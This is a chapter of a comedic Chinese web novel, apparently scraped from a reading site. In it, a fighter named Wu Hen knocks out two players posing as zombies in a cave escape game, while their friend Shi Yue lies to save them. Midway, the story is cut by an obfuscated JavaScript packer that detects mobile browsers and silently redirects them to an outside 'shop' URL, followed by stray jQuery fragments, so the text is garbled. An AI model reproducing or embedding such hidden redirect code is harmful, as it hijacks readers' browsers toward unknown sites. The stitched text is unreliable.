某年某月某日某时,在路过店长身边,看见对方眼下两个硕大的黑眼圈时,师月曾听见前者念叨过一句“上班对大多数人来说都不是什么好事”。
可当时的她还太年轻。
不明白这句警世箴言背后的深意。
直到现在——
拖着自己明明什么都做了却好像又什么都没做、莫名其妙就残破了的伟岸身躯,师月艰难蠕动到洞边,扒着边缘的崎岖碎石,探个脑袋往前,以手挡脸,眼睛透过指缝往下看。
惨。
实在是太惨了!
洞底,对即将发生的事一无所觉的陆澈和罗博还在一颠一颠地朝着雾痕走去。
随着他们的行动,一路上高高低低洒下了不少稀释版荧光红墨水。
客观来讲,在周围阴森气氛的烘托下,这个情景或多或少是该有些吓人的。
——如果雾痕没有随手向后一锤,就从黑石山壁上砸下来一小块巴掌大的石头,并将之握在手中掂了掂重量的话。
“对不起。”
开始战斗前,师月听见了下面,雾痕向两人致歉的诚挚话语。
“虽然你们曾经或许也是店长的族人,但既然被野兽咬伤感染,失去了过往的记忆,我就只能将你们视同敌人了。”
“请放心,长老教过我们,要尊重英雄。所以我不会让二位受太多苦的!”
话音落,行动始。
迎着两人冲了上去,雾痕手起石块落。
“嘭!”
眼神清澈,慢镜头快动作,石块以痛吻了铁脑壳。
罗博收获,抱之以上下牙错位,茫然打颤咯咯咯。
凄风苦雨,螺丝发紧。
丧尸一号。
遗憾OUT~
“加油,老弟,交给你——了!”
临“死”前,眼冒乱码语气飘虚,罗博看向陆澈,送上最后期许。
从那人出现,到嘴里大喊着“对不起”并冲上来强制给罗博关机,一切的一切发生得太快,晚了一步落在后面,陆澈只眨了眨眼,止住脚步,就听见了这仿佛临终托孤般的最后一句。
而眼前,缓缓收手,目光慈悲地把罗博放倒在地,陆澈看着那人红眼流泪,动作极轻地帮罗博理了理衣领,又把他的双手调整成交叠放于腹上的安详姿势。
“对不起,真的对不起。”
陆澈的脚步忽然开始莫名后撤,并同时保持了高质量严肃安静。
可在那人边哭边对罗博念了一串什么东西后,指尖缓缓搭上石块,她紧咬着牙关颤抖起身,抬臂用力——
“啊!”
真正字面意义上的“坐壁上观”,师月扒在石洞边,听下面时不时传来的惨呼声,缩了缩脖子,指缝后露出的一双围观大眼也偶有不忍地闭上。
惨。
实在是太惨了。
之前在做“重点玩家推荐”时,作为对族中情况非常了解的雪汐泠霜,向师月捣蛋团强力推荐了她们的影族朋友,雾痕。
当时,除了对对方种族做出过一些着重强调的介绍外,两人并没过多言语。
可现在,看着下方陆澈的遭遇,师月恍然间明白了她们那句皱眉仰天说出的“影族单纯,却实在好斗”的深刻含义。
“喝!”
追在陆澈身后,雾痕的身影忽然如烟消散,然后化作一缕流光,她骤然出现在了陆澈跟前。
“哈!”
以手为刃侧扫横劈,雾痕屈膝向上,颠球一样把陆澈轻松抛向半空。
“嘿啊!”
最后原地无助跑凭空跃起超过陆澈头顶,她曲肘向下——!
“嘶。”
师月所趴石洞旁,忽然多出了一个大字型凹陷坑洞。
指缝缓缓合上,以捂脸悲伤式一点点弯曲背脊,她现在忽然觉得,自己的运气,也许、可能、大概,其实还挺好的。
至少不用和雾痕正面对击。
“别怕。”
而在做完这些后,轻松又踏着石壁回到师月身边,雾痕抬手轻轻拍了拍她肩膀,语气沉稳镇定,颇能安抚人心。
“我并没将他们打死,现在应该还有……三分活。”
“你且先转过脸去,或者用袖子挡挡眼睛,等我把这个丧尸带下去和另一个一起处理了,让他们不能再出来害人,你再睁眼。”
“好,好的……”
师月被雾痕拍着肩膀,想动,又不太敢动,只是下意识地应声。
可回答完,一个激灵,她忽又原地弹跳转圈站起。
不对!不行!不能够啊!!!
眼看雾痕已经弯腰,动手准备从大石坑里把陆澈抠出来“带下去处理”了,师月瞬间一个激灵,额冒冷汗往前大扑,才堪堪抓住了她即将完成动作的手。
“那个!我想起来了!其实不用处理!”
她现在很激动,声音不自觉提高。
“哈哈,其实店长还说过的,嗯,就是那个阵法吧,它开启后除了能让她复生,其实还能,嗯,呃,能,能,净化——对!就是净化!”
“阵法开启后,还能让洞中原本被咬伤变异的人恢复正常,哈哈,所以其实不用处理他们了,抢救一下,他们应该还能活,哈,哈哈,你说是吧!”
一句话,师月讲得心虚又心酸。
她甚至开始有点庆幸自己今天穿了好多层衣服了——这样至少当场撒谎不会被人一眼看穿后背在冒冷汗。
“原来如此。”
听完她的解释,雾痕表情严肃,看了看人形大洞,又看了看师月,收手,若有所思。
“正是如此。”
看她终于打消热情超度自己两位好友的念头了,师月抬手,抹了把额上大汗,放下心来,长长松了口气。
可这一松不太得了。
视线飘移,越过雾痕肩头,她看见了凭借自己顽强生命力从洞中爬出来,兢兢业业似乎还打算把手搭上雾痕肩膀,从背后搞吓人偷袭的陆澈。
师月的头发一下就炸竖起来了。
才刚费了不少口舌把你救活,结果你醒来第一件事就是搞偷袭。
不要命啦!
生死关头力量爆发,眼疾手快不顾疼痛地一把把雾痕薅到自己身后,师月上前,紧紧握住了陆澈那只颤悠悠伸过来的手。
“你……”
陆澈双目赤红,声音颤抖。
“你什么?你说你也想家?”
师月手上用力,眼神示意。
“你踩我……”
陆澈泪光闪动,语气动容。
“你猜我还记不记得曾经温泉谷畔的你?”
师月挑眉会意,拍手让朋友放心。
“你踩我……脚了!”
一口气憋半天,眼泪顺脸下,剑修始低头。
而终于听明白对方在说什么了的师月猛一低头,就发现自己刚才踩的地方不是石头——那是陆澈肿了一大圈,高高鼓起肿如馒头的脚!
“啊哈哈哈!真是不好意思啊!”
一个松手前推迈步往后,师月赶紧几步退到雾痕身侧。
然后,她就看见——
高高滴悬崖旁,陆澈轻晃动。
左一下,右一下,身形很灵动。
他灵动地前后摇摆着自己那双格外肿大的手。
先往前,再往后。
慢镜头大特写,音乐开始间奏。
陆澈看向师月,他瞪大双眼。
“嘭——”
“啪!”
三分茫然三分无措四分难以置信。
陆澈,被师月,推摔下去了。
“噗通。”
那不是陆澈入水的声音。
那是师月悔恨泪水聚成的涓流。
丧尸二号。
被队友单杀。
OUT!
——*——
“师月。”
走在狭长的漆黑甬道里,跟着地上石壁上的莹蓝标识前行,跟前,雾痕忽然回头,看向师月。
“你真善良。”
“哈,哈哈,是吗,我活该的。”
没想到从天而降忽有赞扬,师月下意识停步微笑,在意识到自己刚才说了什么后,又紧急扩句找补。
“我活这辈子就该做个好人的,你说是吧,哈哈,哈。”
扛稳了点背上在听到雾痕声音后无意识抖动了两下的陆澈,师月继续保持着她的老实人腼腆微笑。
主要是为了亡羊补牢地挽救一下她和陆澈岌岌可危的友谊呢。
“是的,我觉得你说的很对。”
雾痕却不明白为什么师月虽然是笑着,看上去却有点苦。
但她非常认可对方说的那句话,所以抬手,她想拍拍师月的肩,以便更好地传达认同。
可是手悬在半空,她看看师月左肩扛着的陆澈,又看看师月右肩搭着的罗博,觉得眼前这位自己很想和她交朋友的人实在忙碌,可能暂时腾不出别的肩膀能让自己表示问候。
于是在心里遗憾地长叹一口气,雾痕收手,决定继续认真找路。
不能辜负师月那颗救死扶伤的真心!
……
两人,或者说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780438|203555||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
四人,这次在洞里走得很平安。
如果问雾痕原因,她大概会猜测,是师月善良的行动感动了神明。
而如果同样的问题问师月,她的答案则会是一句朴实的“这里的两个主要机关设计者都已经在她肩上挂着”,无力造作了。
总之,一路风平浪静地往前,没走太久,在师月气喘吁吁力竭前,四人就到了一处明显与之前区域不同的地方——一个深红发黑的洞穴。
洞穴本身并不算大。
与沿途所遇之洞不同的是,这个山洞的另一头不是行道,而是一条不断延伸、看不到尽头的滑轨。
滑轨前,还有些突兀地停了一辆残破的灰扑扑小木车。
木车的造型和雾痕今天入谷时坐的那种很像,只是体积上要小很多。
作为在场唯一一个对后续设计全然未知的普通玩家,雾痕考虑到师月当前的负重状态实在不适合移动,主动承担起了在附近寻找提示的工作,认认真真翻找起了可能有的提示信息。
而纠结犹豫站在原地,师月一会儿看看小木车,一会儿发愁皱皱眉,似乎正和自己心中的某些想法博弈。
但她没能博弈太久。
因为雾痕从一处斜生石棱的缝隙间找到了张薄薄纸片,并慢慢念出了上面所写的内容——
【亲爱的幸存者,这是通往下一处逃生路口的唯一通道】
【坐上木车,沿着滑轨,不要回头!注意!一定不要回头!】
【到达轨道终点,那里会有人为你指明逃出去的路】
【一定不要回头!!!】
“可是……”
雾痕读完上面的内容,又有些踌躇地看向了轨道口,那个很明显、最多只能容纳下两人的小木车。
“你先走吧!”
另一边,像是终于下定了某种决心,师月开口。
把肩上一左一右昏迷的两人放下,她看着雾痕,语气坚定。
“你先走。”
“如你所见,木车坐不下那么多人。”
“而实不相瞒……他们,曾经都是我的朋友。”
“我不能放任他们独自留在这里——伤害人,或被人伤害,这两种结果都不是我想看到的他们的结局。”
“所以我决定留下来。”
“我要守着他们!”
师月看着雾痕。
“一路走来,我知道你很厉害。”
“你勇敢、细心、还有一副好身手。”
“我相信你一定能到达终点,开启那个阵法,复活店长、他们,还有其他被困在这里的所有人。”
“所以,你先走吧!”
眼中泪花闪烁,语气是不能再和朋友继续并肩作战的苦涩不舍,师月拿出了自己在演技上的所有学习成果,脑中过了一遍进入石门后自己经历的一切,情到深处,不用伸手拧胳膊,眼眶泛酸,几乎真要落下泪来。
而木车旁,听完师月这番话的雾痕显然有被深深打动。
“可是,万一有其他‘丧失’过来攻击你……”
雾痕看了看师月到现在还不太灵活的手腿。
“没关系的。”师月仰头四十五度角望天装坚强,“我还能坚持!”
“可是,万一有其他野兽过来攻击你们……”
雾痕看了看地上躺着只能喘气的陆澈和罗博。
“没关系的。”师月重重拍了拍那两人的脑壳,“他们也还能坚持!”
“你们……都这么能忍痛?”
雾痕不忍,看向师月和她身边的两人,迟疑着开口,仿佛做出了某种决定。
“嗯呐!我们生长于山野,这点小伤小痛,没问题的!”
感受到她话里隐约松动的态度,师月忙不迭点头。
“那既然这样,我也就不再隐瞒了。”
雾痕放下了严肃思考时撑在下巴上的手。
“其实,我和雪汐泠霜是很好的朋友。”
看见被一巴掌拍得悠悠然转醒的陆澈两人,雾痕进一步确认了师月所言“丧失”两人“小伤小痛”和“极能忍痛”的限度,笃定开口。
师月不知道雾痕为什么忽然提起两个现下并不在场的熟人。
可抬头,对上对方那骤然亮了起来的一双炽热瞳眸,某种隐隐约约的不安和幻痛突兀地开始卷向了她全身。
然后,无比诚恳的,她听见对面人说了这样一句话。
“也因此,我对精灵的部分习惯有所研究——刚好,这些技能终于在今天可以派上用场了。”
“或许,我的朋友——你听说过插花吗?”